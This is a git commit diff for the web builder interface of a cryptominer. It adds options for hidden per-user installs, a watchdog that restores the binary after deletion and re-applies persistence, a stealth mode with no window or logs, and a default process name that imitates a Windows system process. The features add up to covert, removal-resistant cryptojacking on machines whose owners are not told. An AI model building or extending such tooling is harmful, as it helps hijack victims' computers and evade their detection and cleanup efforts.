Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
};

View File

@@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: d.adapt_to_hardware ?? true,
self_healing: d.self_healing ?? true,
file_logging: d.file_logging ?? true,
stealth_mode: d.stealth_mode ?? false,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
@@ -393,6 +397,41 @@ export default function BuilderPage() {
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
<FieldHint field="adapt_to_hardware" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.self_healing}
onChange={(e) => updateField('self_healing', e.target.checked)} />
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
</label>
<FieldHint field="self_healing" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
onChange={(e) => {
updateField('stealth_mode', e.target.checked);
if (e.target.checked) updateField('file_logging', false);
}} />
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
disabled={form.stealth_mode}
onChange={(e) => updateField('file_logging', e.target.checked)} />
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
</label>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

View File

@@ -113,6 +113,10 @@ export interface AgentDefaults {
install_base: string;
install_custom_base: string;
install_relative_path: string;
adapt_to_hardware: boolean;
self_healing: boolean;
file_logging: boolean;
stealth_mode: boolean;
}
export interface BackgroundConfig {
@@ -153,6 +157,10 @@ export interface BuildRequest {
install_base: string;
install_custom_base: string;
install_relative_path: string;
adapt_to_hardware: boolean;
self_healing: boolean;
file_logging: boolean;
stealth_mode: boolean;
pool_host: string;
pool_port: number;
pool_tls: boolean;